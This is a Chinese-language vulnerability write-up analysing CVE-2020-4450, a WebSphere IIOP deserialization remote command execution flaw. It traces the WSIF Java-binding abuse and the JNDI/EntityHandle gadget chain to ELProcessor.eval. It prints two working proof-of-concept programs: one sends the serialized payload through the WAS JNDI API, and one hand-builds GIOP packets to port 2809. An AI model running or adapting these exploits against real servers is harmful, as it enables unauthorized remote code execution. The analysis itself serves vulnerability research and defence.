WebSphere 远程命令执行漏洞(CVE-2020-4450)分析
作者:白帽汇安全研究院@Sp4rr0vv
核对:白帽汇安全研究院@r4v3zn
环境准备
基于 ibm installtion mananger 进行搭建。
8.5.x 版本对应的仓库地址为:https://www.ibm.com/software/repositorymanager/V85WASDeveloperILAN
9.0.x 版本对应的仓库地址为:https://www.ibm.com/software/repositorymanager/V9WASILAN
注:需去掉 PH25074 补丁,本文基于 9.0.x 版本进行调试。
![]()
WebSphere 默认情况下,2809、9100 是 IIOP协议交互的明文端口,分别对应 CORBA 的 bootstrap 和 NamingService;而 9402、9403 则为 iiopssl 端口,在默认配置情况下访问 WebSpere 的 NamingService 是会走 9403 的SSL 端口,为了聚焦漏洞,我们可以先在 Web 控制台上手动关闭 SSL。
![]()
![]()
WSIF 和 WSDL
WSDL(Web 服务描述语言,Web Services Description Language)是为描述 Web 服务发布的 xml 格式。
一个 WSDL 文档通常包含 8 个重要的元素,即 definitions、types、import、message、portType、operation、binding、service 元素,其中 service 元素就定义了各种服务端点,阅读wsdl时可以从这个元素开始往上读。
![]()
其中 portType 元素中的 operation 元素定义了一个接口的完整信息,binding 则是为访问这个接口规定了一些细节,如可以设定使用的协议,协议可以是 soap、http、smtp、ftp 等任何一种传输协议,除此以外还可以绑定 jms、ejb 及 local java 等等,不过都是需要对binding和service元素做扩展的。
WSIF 是 Web Services Invocation framework 的缩写,意为 Web 服务调用框架,WSIF 是一组基于 WSDL 文件的 API ,他调用可以用 WSDL 文件描述的任何服务,在这里最重点在于扩展了binding 和 service 元素,使其可以动态调用 java 方法和访问 ejb 等。
Demo 到 POC
CVE-2020-4450 中的漏洞利用链其中一个要点就是利用其动态调用 java 的特性,绕过对调用方法的限制,我们下面参考官网提供的 sample 中的案例写个小 demo,看下这款框架的功能底层是怎么实现的,以及有什么特点。
利用链中其中一环的限制条件之一是方法中的参数类型、参数数量、参数类型顺序必须要与接口定义的一致,本文我们以 String 类型参数为例进行测试,我们写一个带有 String 类型的参数接口,来进行跟踪接口是如何被 WSIF 移花接木到指定的 ELProcessor#eval(String expression)。
![]()
WSDL 文件如下:
message 元素中定义参数,type 与接口中的类型需保持一致。
![]()
portType元素定义 operation 子节点其中该子节点中的 name 与接口名称。
![]()
然后在进行定义 javabinding ,规定 portType 调用的方式为 java 调用。
![]()
其中 java 命名空间元素是关键要素,其中包含了实际执行方法的类和方法,后面我们将会看到 WSIF 如何将 Hello#asyHell(Sring name); 接口方法调用变成 ELProcessor#eval(String)。
WSIF 到 eval
通过调用 WSIF 的 API 来访问 WebService 很简单,只需四步。
第一步获取工厂:
![]()
第二步实例化 WSIFService,会往扩展注册中心注册几个拓展元素的解析器,其中 JavaBindingSerializer 就是解析 WSDL 中 java 这个命名空间元素的:
![]()
在解析的过程中通过 unmarshall 进行解析 WDSL 格式
public javax.wsdl.extensions.ExtensibilityElement unmarshall(
public javax.wsdl.extensions.ExtensibilityElement unmarshall(
Class parentType,
javax.xml.namespace.QName elementType,
org.w3c.dom.Element el,
javax.wsdl.Definition def,
javax.wsdl.extensions.ExtensionRegistry extReg)
throws javax.wsdl.WSDLException {
Trc.entry(this, parentType, elementType, el, def, extReg);
// CHANGE HERE: Use only one temp string ...
javax.wsdl.extensions.ExtensibilityElement returnValue = null;
if (JavaBindingConstants.Q_ELEM_JAVA_BINDING.equals(elementType)) {
JavaBinding javaBinding = new JavaBinding();
Trc.exit(javaBinding);
return javaBinding;
} else if (JavaBindingConstants.Q_ELEM_JAVA_OPERATION.equals(elementType)) {
JavaOperation javaOperation = new JavaOperation();
String methodName = DOMUtils.getAttribute(el, "methodName");
//String requiredStr = DOMUtils.getAttributeNS(el, Constants.NS_URI_WSDL, Constants.ATTR_REQUIRED);
if (methodName != null) {
javaOperation.setMethodName(methodName);
}
String methodType = DOMUtils.getAttribute(el, "methodType");
if (methodType != null) {
javaOperation.setMethodType(methodType);
}
String parameterOrder = DOMUtils.getAttribute(el, "parameterOrder");
if (parameterOrder != null) {
javaOperation.setParameterOrder(parameterOrder);
}
String returnPart = DOMUtils.getAttribute(el, "returnPart");
if (returnPart != null) {
javaOperation.setReturnPart(returnPart);
}
Trc.exit(javaOperation);
return javaOperation;
} else if (JavaBindingConstants.Q_ELEM_JAVA_ADDRESS.equals(elementType)) {
JavaAddress javaAddress = new JavaAddress();
String className = DOMUtils.getAttribute(el, "className");
if (className != null) {
javaAddress.setClassName(className);
}
String classPath = DOMUtils.getAttribute(el, "classPath");
if (classPath != null) {
javaAddress.setClassPath(classPath);
}
String classLoader = DOMUtils.getAttribute(el, "classLoader");
if (classLoader != null) {
javaAddress.setClassLoader(classLoader);
}
Trc.exit(javaAddress);
return javaAddress;
}
Trc.exit(returnValue);
return returnValue;
}
以下为分别对应的类,该类的属性我们都是可以在 WSDL 中进行控制的。
JavaOperation 类:
![]()
JavaAddress 类:
![]()
下面是简要的调用流程,解析 xml 中的元素,将其都转换 JAVA 对象,Definition 这个类就是由这些对象组成的,然后根据提供的serviceName,portTypeName 选择 WSDL 中相对应的 service 和 portType,上面说过 portType 就是一些定义抽象访问接口的集合。
![]()
![]()
第三步,获取 stub ,先是根据给定的第一个参数 portName 找到对应的 port,在根据 port 找对应的 binding ,获取其扩展的 namespaceURI 来找 WSIFProvider 动态加载 WSIFPort 的实现类。
![]()
这里的 binding namespace 就是 java
![]()
所以实现类会是由 WSIFDynamicProvider_Java 这个工厂生成的 WSIFPort_Java 对象
![]()
这个类有个叫 fieldobjectReference 的字段很关键,后面我们会看到它就是我们在 WSDL 中 <java:address > 这个元素中指定的ClassName的实例对象,也是最终执行方法的对象。
![]()
获取 WSIFPort_Java 后,接着往下可以看到,会根据提供的接口生成该接口的代理对象
![]()
![]()
![]()
其中 WSIFClientProxy 实现了 InvocationHandler ,最后对接口中的方法肯定会经过它的 invoke 方法处理,下面重点来看下它的invoke方法是怎么实现的
![]()
先是找 operation ,这里的 method 参数就是正在调用的方法
![]()
![]()
遍历我们在初始化 service 时选定的 portType 中的所有 operation ,首先 operation 的名字要和正在调用的方法名一致
![]()
名字一致后,找参数,先是如果二者的参数都为 0 的话,就返回这个 operation 了,有参数,判断参数长度,不一致就继续遍历下一个operation
![]()
如果参数长度一致,就判断类型,如果遇到一个不一致的类型就继续遍历下一个 operation 如果完全一致就立刻返回这个 operation ,如果 operation 中定义的参数类型,是正在调用的方法的参数类型的子类的话也行,但是并没有限制返回值。
选定 WSDL 中 portType 的这个符合名字和参数条件的 operation 后,接着往下,会根据这个operation的名字、参数名和返回值名由 WSIFPort 的实现类创建对应的 WSIFOperation
![]()
这里我们 WSIFPort 是 WSIFPort_Java,所以最终的实现类是 WSIFOperation_Java ,但是在这之前还会有个判断,就是会根据我们选的 port,找到 bingding,在遍历 binding 里的operation 元素,必须要有一个 operation 的名字和正在调用的方法名一致,不然就会直接返回,到这里我们看到都是对 wsdl 中 operation 名以及参数类型的限制而已,下面是 WSIFPort_Java 这个类的实例化
![]()
跟进断点这行,会看到 WSIF 会实例化我们在 WSDL 中 <java:address className="javax.el.ELProcessor"/> 这个标签那里指定的className,然后返回其所有的方法
![]()
![]()
接下来,是根据上面所说的,在实例化之前,筛选出的 wsdl 的 binding 中的那个 operation,将其中的 java 扩展元素赋值给 fieldJavaOperationModel 字段
![]()
![]()
![]()
然后就根据这个对象的 methodType 字段,判断是静态方法还是实例化方法,最后执行方法会根据这两个字段做选择
![]()
后面是重点,WSIF 怎么找真正要执行的方法
![]()
然后去 WSDL 找参数
![]()
简单的说下,我们在下图这里指定了 parameterOrder 的情景
![]()
![]()
WSIF 会遍历这个列表中的名字,根据当前选定的 WSDL 中的 operation 找到对应的 message 元素,然后会根据这个 parameterOrder 列表中的名字匹配其中的 part 元素的名字,也就是参数名,实例化这个元素指定的 type 成 Class 对象,放到返回值列表中,在一次遍历的过程中,先是找到 input,匹配不上再找output,如果都匹配不上就报错,到这里我们看到了第三个限制,就是指定了 parameterOrder ,那么对于与其相匹配的 operation 中的 message 中定义的参数名一定要和 parameterOrder 中的一致,至于 returnPart 这个属性有无都行
![]()
![]()
![]()
然后就是遍历所有的构造方法,匹配参数类型
![]()
先是参数个数要一致,一致后,类型要一致或者 WSDL 中定义的参数类型要是构造函数中参数的子类
![]()
![]()
第二个找实例方法,我们最终的目的,找参数类型的过程大致和上面一致,不过在getMethodReturnClass()这里会判断 returnPart,没有的话没关系,有的话还是会有些限制
![]()
然后就判断 fieldJavaOperationModel 中的方法 name 在不在我们指定的那个类的实例方法里面,到这里,已经差不多可以看出这个框架的 javabding 的特点了,当前正在执行的方法的名字只是限制了 WSDL 中一个抽象的 Operation 名字,真正执行的实例方法是在 <java:operation methodName="xxxx" ....> 中指定的
![]()
后面就是匹配参数个数
![]()
接着是返回值,这里返回值都是不为空才判断,所以对于为了执行任意方法为目的来说,我们甚至可以不指定 returnPart
![]()
![]()
后面的过滤条件都和构造方法一样,最终返回的就是指定名字的方法
![]()
最后看下有定义 return 时真正执行方法的调用 executeRequestResponseOperation
![]()
后面还有一些特点就不说了,我们直接看下最终执行实例方法的地方,如果把返回值相关的定义去掉,将会连类型转换错误都没有,这就非常的棒
![]()
![]()
解析到序列化
以下为漏洞精简版本漏洞序列化栈:
readobject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
getEJBobject:181, EntityHandle (com.ibm.ejs.container)
findByPrimaryKey:-1, $Proxy94 (com.sun.proxy)
executeInputOnlyOperation:1603, WSIFOperation_Java (org.apache.wsif.providers.java)
eval:57, ELProcessor (javax.el)
从 WSIFPort_EJB 作为开始起点,
![]()
![]()
![]()
显而易见,两个字段是 transient 的,但是在序列化时手动写进去了,所以反序列时也手动还原回来了
先看下实现了 WAS 中实现了 Handler 的类,一共就四个,这次 EntityHandle 是主角
![]()
这个类的字段如下
![]()
getEJBobject() this.object==null 的条件肯定可以满足了
![]()
initialContextProperties 和 homeJNDIName 都是可以控制的,正常情况下肯定会想到jndi 注入
![]()
可惜 WAS 默认安装时的 JDK 版本已经对基于 JNDI 做限制了,而且启动时会给 objectFactoryBuilder 赋值,连 getobjectFactoryFromReference 都到不了
![]()
![]()
![]()
![]()
![]()
其中在 this.getobjectInstanceUsingobjectFactoryBuilders 中最后会进入到的会是 WASobjectFactoryBuilder 这个类
![]()
这里并不会对 ClassFactory 远程加载,但是会根据类名实例化我们指定的工厂类,然后调用 getobjectInstance ,基于高版本 JDK 的 jndi 注入利用方式,就是去寻找有没有这样的 objectFactory ,它的 getobjectInstance 里的操作能直接或者间接地结合后续操作来造成漏洞
![]()
![]()
org.apache.wsif.naming.WSIFServiceobjectFactory 工厂类的 getobjectInstance 就是开头介绍的 WSIF API几步,里面所有参数都是可以控制的,因为当 lookup 到这里的时候,就是为了 decode 我们构造的 reference 对象。
仔细看一下,如果我们指定 renferce 的 className 为 WSIFServiceStubRef.class 的时候,回顾开头对 WSIF API 的 4 个步骤,会发现除了调用方法名以及其参数之外,里面用到的参数都再这里了,这意味着如果这个代理对象从 lookup 这里出去后,对这个对象有任何的接口方法调用,我们都是可以根据 WSIF 的 java binding 来控制其真正执行方法的对象以及要执行的方法的
![]()
再看下 lookup 后的流程,是将 lookup 回来的对象转换成 EJBHome ,然后调用 findFindByPrimaryKey 方法
![]()
![]()
EJBHome 这个接口并没有 findFindByPrimaryKey 这个方法,所以需要去找它的子类,CounterHome 就是其中一个
![]()
现在让我们看一下利用链要怎么构造,由于 EntityHandle 这个类只实现了 Handler 接口,没有实现 EJBobject 接口,我们可以自行实现 EJBobject 接口,让其返回
我们特定构造的 EntityHandle 对象绑定我们的RMI地址去进行 jndi 注入
![]()
赋值给 WSIFPort_EJB 即可
![]()
然后起个 RMI 绑定一下我们构造的 WSIF Reference
![]()
以下为互联网公开的漏洞 POC 利用详细代码:
public static void main(String[] args) throws NamingException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
System.getProperties().put("com.ibm.CORBA.ConfigURL","file:////sas.client.props");
System.getProperties().put("com.ibm.SSL.ConfigURL","file://ssl.client.props");
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbobject");
field.setAccessible(true);
field.set(wsifPort_ejb, new MyEJBobject());
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://127.0.0.1:2809/");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
InitialContext context = new InitialContext(env);
context.list("");
Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
Field f__delegate = objectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);
Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);
GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);
CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream, propagationContext);
byte[] result = outputStream.toByteArray();
ServiceContext serviceContext = new ServiceContext(0, result);
ArrayList arrayList = new ArrayList();
arrayList.add(serviceContext);
setConnectionContexts.invoke(connection, arrayList);
context.list("");
}
![]()
一些思考
WAS 默认对 RMI/IIOP 开启了 SSL 和 Basic 认证,前面为了聚焦漏洞我把 WAS 的 SSL 关了,如果没关,又没指定 SSL 配置文件的话,直接用互联网中公开的漏洞利用方案在设置 ServiceContext 时相关的代码会直接报错抛出异常。
![]()
而且开启了也不能直接打,因为还有个 BasicAuth ,会弹出用户名密码验证框,不知道账户密码的话,敲一下回车也能过去
![]()
![]()
可以抓包和 Debug 一下源码看一下为什么会这样,在 WsnInitCtx 上下文中 list 或者 lookup 的实现是,先去发个 locateRequset 去 BooStrap 那获取 NamingService 的地址,拿到 NamingService 的 IOR 后再发送 Request 请求,如果 WAS 没启用 SSL 的话,在服务器返回的 IOR Profile 中是会带有端口指明 NamingService 的端口。
![]()
如果 BootStrap 返回的 IOR 只带有 Host ,端口为 0,但是在返回的 IOR 中会有 SSL 的相关内容,则说明是要走 SSL 端口的,如果我们的客户端没配置 SSL 属性的话,那他是不会走 SSL 连接的,而是直接连接 host:0,肯定连不上
![]()
![]()
问题就出在这里,因为本质上,要进入到本次的反序列化调用点,根本是不需要一个 LocateRequst 的,我们可以 debug 看一下,在 WAS 的服务端在接受 iiop 请求时,会先经过几个拦截器的处理,默认情况下一共7 个拦截器
![]()
取决于 Corba 客户端的请求类型,执行不同的逻辑
private void invokeInterceptor(ServerRequestInterceptor var1, ServerRequestInfoImpl var2) throws ForwardRequest {
switch(var2.state) {
case 8:
var1.receive_request_service_contexts(var2);
break;
case 9:
var1.receive_request(var2);
break;
case 10:
var1.send_reply(var2);
break;
case 11:
var1.send_exception(var2);
break;
case 12:
var1.send_other(var2);
break;
default:
throw new INTERNAL("Unexpected state for ServerRequestInfo: " + var2.state);
}
}
其中只要是 Request 请求,就能进入到 TxServerInterceptor 的 receive_request,进行后面的 ServiceContext 处理操作,触发本次的反序化过程
![]()
所以想写个实战能用的 POC 或者 EXP 的话,直接用 WAS 的 JNDI API 肯定不行的,可以再找一下可以直接发 Request 和设置 ServiceContext 的 API 。或者考虑手动构造一下数据包,默认端口没改的情况下,直接打2809或者9100,至于怎么构造,可以参考一下 GIOP规范 和 JDK 或者 IBM 的那套 corba api ,下面演示一下大致的构造过程
直接用 Oracle JDK 的 原生 corba API 请求一下 2809,就会发现客户端发的是一个带有 ServiceContext 的 Request 请求的
![]()
参照 GIOP 规范,整个 GIOP 头是固定的 12 个字节,其中第 8 个字节是请求类型
![]()
再参照一下这个 API 是怎么发包的,先是十二个字节的 GIOP 头
![]()
然后是一个固定的 4 字节 ServiceContext 的数目
![]()
后面就是 ServiceContext 格式也是固定的
![]()
写完 ServiceContext 后,是下面这个格式
![]()
所以,大致的验证代码如下:
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbobject");
field.setAccessible(true);
field.set(wsifPort_ejb, new MyEJBobject());
Socket socket = new Socket();
InetSocketAddress inetSocketAddress = new InetSocketAddress("127.0.0.1", 2809);
socket.connect(inetSocketAddress,0);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
OutputStream outputStream = socket.getOutputStream();
EncoderOutputStream cdrOutputStream = (EncoderOutputStream)ORB.createCDROutputStream();
cdrOutputStream.write_long(1195986768);
cdrOutputStream.write_octet((byte)1);//GIOPMajor
cdrOutputStream.write_octet((byte)0);//GIOPMinor
cdrOutputStream.write_octet((byte)0);//flags
cdrOutputStream.write_octet((byte)0);//type //request
object sizePosition = cdrOutputStream.writePlaceHolderLong((byte) 0);//size
cdrOutputStream.write_long(1);//ServiceContext size
CDROutputStream outputStream2 = ORB.createCDROutputStream();
outputStream2.putEndian();
Any any = ORB.init().create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream2, propagationContext);
byte[] result = outputStream2.toByteArray();
ServiceContext serviceContext = new ServiceContext(0, result);
serviceContext.write(cdrOutputStream);
int writeOffset2 = cdrOutputStream.getByteBuffer().getWriteOffset();
System.out.println(writeOffset2);
cdrOutputStream.write_long(6);//requestID
cdrOutputStream.write_octet((byte)1);//responseExpeced
objectKey objectKey = new objectKey("NameService".getBytes());
cdrOutputStream.write_long(objectKey.length());
cdrOutputStream.write_octet_array(objectKey.getBytes(), 0, objectKey.length());
cdrOutputStream.write_long(3);
cdrOutputStream.write_octet_array("get".getBytes(),0,3);
cdrOutputStream.write_long(0);
cdrOutputStream.write_long(0);
int writeOffsetEND = cdrOutputStream.getByteBuffer().getWriteOffset();
cdrOutputStream.rewriteLong(writeOffsetEND-12,sizePosition);
cdrOutputStream.getByteBuffer().flushTo(outputStream);
System.in.read();
}
结果
![]()
![]()

Sp4rr0vv 1890天前
评论正在提交,请稍等...
最新评论